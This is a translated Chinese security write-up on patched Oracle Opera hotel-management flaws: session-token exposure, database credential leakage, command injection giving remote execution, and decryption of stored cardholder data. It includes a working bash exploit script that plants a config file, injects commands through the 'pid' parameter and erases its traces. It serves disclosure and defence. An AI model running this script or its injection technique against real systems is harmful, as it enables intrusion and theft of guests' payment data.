百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

Oracle酒店管理平台远程命令执行和持卡人数据解密漏洞分析

cac55 2024-10-03 17:39 25 浏览 0 评论

翻译:ResoLutiOn

预估稿费:200RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言


近期,我发现在一些大型商务酒店所使用的前台数据管理系统(Oracle Opera)中存在多个安全漏洞。黑客可利用这些漏洞,进行酒店订房App提权,以获得更高的用户使用权限;同时还能够进入酒店管理网络的后台数据库及操作系统,实施RCE攻击。攻击者利用这些漏洞,可在未经身份验证的情况下,进入Oracle Opera数据库系统,盗取酒店顾客的身份信息、电话号码等隐私数据。据悉,甲骨文公司(Oracle)已经接到了漏洞相关情况的报告,及时对漏洞进行了修复,并发布了漏洞报告,在其中详细描述了漏洞的具体情况。[报告传送门]

Oracle Opera系统简介


Oracle Opera(也称为Opera PMS,前身为Micros Opera)是由甲骨文旗下的子公司Micros为全球范围内各大商务酒店量身打造的一款酒店前台操作系统。它能为酒店管理层和员工提供全方位、系统化的管理工具,以便其能快捷高效地处理客户资料、顾客预订、入住退房、客房分配、房内设施管理以及账户账单管理等日常工作。凯悦(Hyatt)、希尔顿(Hilton)等全球知名酒店使用的均是Opera PMS操作系统。

在顾客完成费用支付的过程中,该应用程序会将顾客的银行卡的相关信息,包括:PAN码(信用卡账户编号)、失效日期、持卡人姓名等,保存在系统后台的数据库中。目前,相关安全人员已披露了3种能够进入该后台数据库的攻击方式。一旦攻击者拿到了该数据库的登录权限,他便能盗取并解密其中保存的隐私数据。

经过分析后我发现,用户数据之所以会遭到黑客窃取,问题主要出在Opera PMS系统本身,而与用户的操作无关;同时,如果仅使用黑盒测试是无法唯一确定漏洞的性质的。不同于以往的漏洞解决方案(供应商接到漏洞报告,并通过内部测试的方法修复漏洞),由于Opera PMS系统供应商向广大用户提供了详尽的解决方案,这便给黑客攻击Opera PMS系统创造了巨大的空间。攻击者很容易知晓该软件存在的缺陷,并可对其合法性进行分析测试。在经过相应的动态分析和静态分析之后,攻击者便能找到“进入”该系统数据库的最佳切入点。

漏洞详解


No.1 CVE-2016-5665:窃取系统日志文件,实施会话劫持

在用户登录Oracle Opera系统后,他们可以选择其中一个系统接口进行交互会话。启动其中接口的请求中包含了用户会话令牌、特定接口启动参数等相关信息。

这里存在一个问题,即:由于系统会将用于实现用户交互的会话令牌和其他参数放置在一个目录文件中,而黑客在未经身份验证的情况下,便能通过Web服务器访问该文件。这便是威胁所在。

而黑客所需要做的便是“守株待兔”,等待一位具有系统管理员身份的用户登录Opera。待该用户登陆成功之后,他便可通过应用程序,拿到系统的所有操作权限,对其中的数据进行任意操作。因为系统管理员具有较高的系统使用权限,能够对数据库中的数据进行查询、修改和删除等重要操作。一旦攻击者拿到了管理员权限,那么数据泄漏则无法避免。

需要说明的是,攻击者往往不会采用上述的方法来窃取用户信息,因为它速度太慢且不够“安全”,容易被识破。系统将用户提交的每一项查询语句保存于应用层。相比于使用Oracle Form提供的用户交互接口,直接与数据库服务器建立连接的方式要快得多,可以提高效率。

No.2 CVE-2016-5664:攻击者可泄漏系统数据库的凭证信息

若攻击者与数据库服务器共用一个网络,那么他便可通过构造一个数据库连接字符串的方式,盗取数据库的相关凭证。因为在Oracle Opera系统中,数据库凭证以及服务名等信息,是通过系统向服务器发送一个已经经过验证的HTML请求的方式返回的,用来启用Oracle Forms软件。攻击者在执行一个未经验证的Servlet程序时,便可获得该数据库服务器的主机名。

在拿到数据库的凭证信息后,攻击者便可通过编译简单的连接语句,利用Sql*plus(用户与oracle数据库进行交互的客户端工具),建立与数据库的连接。之后,他便能以管理员的身份登录,骗取系统的信任,对数据库进行实时监控。

No.3 CVE-2016-5663:通过系统命令注入,实施RCE攻击

在以下两种情况中,攻击者可利用该RCE漏洞:

(1)攻击者仅能获取到应用程序服务器的登录权限(例如:Internet Exposure);

(2)攻击者仅能通过应用程序服务器连接到数据库;

以上便是我在调查过程中,得出的最满意的结果。因为以上二者看似无关,但将它们结合在一起,便能揭示出攻击者的恶意企图。

在系统中含有一个判断数据传输过程正误的程序。在数据传输完成后,它将会给系统返回确认信息,例如:网络端口号(PID)等。而在黑盒测试中,PID参数是放在一个用于执行系统指令的字符串中,不容易被察觉。攻击者可按下图所示的步骤进行操作:修改该参数来执行另一个命令,并可通过web服务器将输出结果放入另一个可读取的文件中。

若一切顺利,该程序会输出结果whoami,并将其放在webtemp文件下。若运行出错,那么系统将会提示“找不到相应文件”的错误信息。

在浏览了该程序的编译代码后,我们会发现出错之处(即下图内红框标识部分)。在编译好的代码中包含了pslist工具(pslist:查看系统进程,是一个属性文件)的运行路径。该文件的存储路径经过硬编码处理,为:D:\micros\opera\operaias\default.env,但我按此路径查找后发现,该文件并不存在。

为了修改这一错误,需要进行以下两步操作:

(1)在系统中找到OPERA_HOME属性的值;

(2)将其保存到D:\micros\opera\operaias\default.env.路径下。

巧合的是,我在系统中发现了另一个诊断程序,它能够查看OPERA_HOME属性信息。如下图所示:

接着,我们便可将刚才那个Servlet程序作为RFI载体,上传至目标路径:

我利用ProcessInfo程序检查之后发现,该错误已经修改了。同时,系统给出的输出结果“whoami”也证实了该应用程序能够正常运行了。

下面的脚本程序可用于验证操作:

123456789101112131415161718#!/bin/bashSTDOUT="D:\micros\opera\operaias\webtemp\temp.log"if [ "$#" -ne 2 ]; then echo "Usage: $0 <host> <command>" echo "E.g. : $0 http://opera.example.biz whoami" exit 1else host="$1" cmd="$2"fi# Activate exploit.curl -s -XPOST --data-binary "OPERA_HOME=D:\micros\opera" "$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false" > /dev/null# Inject command.curl -s -G --data-urlencode "pid=1 & $cmd > \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/nullcurl -# -G "$host/webtemp/temp.log"# Deactivate exploit.curl -s -G --data-urlencode "pid=1 & del \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/nullcurl -s -G --data-urlencode 'pid=1 & del "D:\micros\opera\operaias\default.env" 2' "$host/Operajserv/webarchive/ProcessInfo" > /dev/null

持卡人信息解密:

利用上述我所讲的漏洞利用过程,攻击者可拿到数据库的登录权限,从任何一个未经授权的接口进入Oracle Opera系统数据库,进而能够窃取银行卡持卡人的私密数据,并对其进行解密。

在SQL中,用于查询数据包包体(package body)的命令语句如下所示:

由于包体信息容易与其他信息混淆,因而,攻击者便可进一步检索包体的信息,或是用其来“破解”出3DES算法的密钥。

现在,算法和密钥都已经得知了,攻击者的下一步操作便是找到加密数据的存储位置。他能在Opera资料库中获得这些信息。

一项能够用于查询NAMES_CREDIT_CARD表中数据的查询语句,能够显示出用户名和其他加密的银行卡信息。同时,攻击者还可通过一个脚本程序,将加密信息解析为明文。

后记


我对甲骨文公司发布的漏洞报告感到非常满意,漏洞描述很详尽。同时,在我向甲骨文公司提交了关于PGP公钥安全漏洞报告的24小时之内,他们便给予了我回应。对此,我感到很欣慰。同时,甲骨文公司还表示,他们将会在下一次发布软件补丁更新包时,加入对CVE-2016-5663、CVE-2016-5664以及CVE-2016-5665等3个漏洞进行修复的程序。

相关推荐

Linux :远程访问的 16 个最佳工具(一)

通过远程桌面协议(RDP)可以访问远程Linux桌面计算机,这是Microsoft开发的专有协议。它为用户提供了一个图形界面,可以通过网络连接连接到另一台/远程计算机。FreeRDP是...

Guacamole安装部署_guacamole简单搭建

Guacamole安装部署Guacamole简介Guacamole是提供连接远程桌面的解决方案的开源项目(也可以说是一个远程桌面网关),通过浏览器就能远程操作服务器,适用于Chrome、Firefox...

1-FreeRTOS入门指南_freertos+lwip

本专栏是根据官方提供的文档进行FreeRTOS的各个功能函数的说明,以及函数的使用本专栏不涉及动手操作,只是对原理进行说明,FreeRTOS基础知识篇更新完成会对如何在开发板上进行上手实战操作。这里不...

Windows暂停远程桌面,这些工具可替代

Windows暂停远程桌面,这些工具可替代近日,Windows官方宣布将于2025年5月27日起,在Windows10和Windows11应用商店中下架“Microsoft远程桌面”应用。这一消...

现在做 Web 全景合适吗?_前端全景

作者:前端藏经阁转发链接:https://www.yuque.com/xwifrr/uxqg5v/cgclx0前言Web全景在以前带宽有限的条件下常常用来作为街景和360°全景图片可查看。它可以...

网页直连,MSTSC远程控制Windows新姿势!

不用安装软件,打开浏览器就能远程办公?今天要聊的是一种颠覆传统的远程控制玩法,直接用网页连接Windows电脑,无需下载客户端,手机、平板、Mac甚至Linux都能轻松操作。这可不是吹牛,结合MSTS...

QQ出现大面积盗号,原因已查明,请抓紧改密码

你没有看错,QQ又上了微博热搜,这次比较严重了,QQ出现大面积盗号,多个QQ群出现yellow信息,其次导致多位成员被踢出,并且还被封号处理,到底怎么回事?请继续往下看。在6月26日晚上10点左...

我在淘宝花10块钱,买到了能玩“宝可梦”的Q群机器人

十一月雨|文我是个没事喜欢逛淘宝的人,虽然是个不怎么好的习惯,但总是能够发现一些奇奇怪怪的东西,这次我发现的是一种Q群机器人。Q群机器人,大多是基于腾讯SmartQQ协议实现的一种能自动回复、自定...

Metasploit最实用的攻击模块&quot;Meterpreter&quot;

Meterpreter命令详解Meterpreter是Metasploit渗透测试平台框架中功能最强大的攻击载荷模块,在最新的Metasploitv4.5.0版本中,攻击载荷模块已经达到了25...

手机QQ再更新,上线了一个想让人“无法回避”的新功能

近日,手机QQ更新了V8.2.6.700版本,苹果iOS版和安卓版手机QQ上线了一个新功能:可以实时显示对方的手机电量以及充电状态。开通电量显示也很简单,长按主页左上方的头像,在在线状态中选择我的电量...

「网络安全」常见攻击篇(20)——点击劫持

什么是点击劫持?点击劫持(Clickjacking)技术又称为界面伪装攻击(UIredressattack),是一种视觉上的欺骗手段。通常有两种方式:攻击者使用一个透明的iframe,覆盖...

曾利用驱动人生升级通道传播的木马下载器攻击方法再次升级

一、概述御见威胁情报中心1月25日再次监测到曾利用驱动人生升级通道传播的木马下载器攻击方法再升级。本次升级主要变化在于攻击模块,木马在之前的版本上,新增计划任务“DnsScan”,在其中将永恒之蓝攻击...

QQ飞车手游:点券首个功能性宠物上架,实战稳定触发还不快入手?

随着版本的逐渐更新,点券宠物在道具模式发挥逐渐越来越小,曾经探讨点券宠物在道具是不是真的没有用?直到出现了波斯猫改变了,我对点券宠物在道具模式的看法,如今又一个强势点券宠物来袭,而且特性触发简单,还是...

工单系统设计实战(上):核心配置与效能提升

流程的标准化并非终点,而是研发效能持续革命的基石。当工单系统真正成为研发团队的“神经中枢”,每一次需求的精准流转、每一行代码的受控提交、每一次版本的可靠发布,都将汇聚成驱动产品持续进化的强大动力...

6个编辑PDF文档内容的工具(软件+网站)

在日常办公、学习和生活中,PDF文件因其格式稳定、跨平台兼容性强等特点,被广泛应用。但有时我们拿到PDF文件后,却发现需要修改其中的内容,总感觉有点难搞。其实PDF文档编辑修改也很简单,这里分享6个软...

取消回复欢迎 发表评论: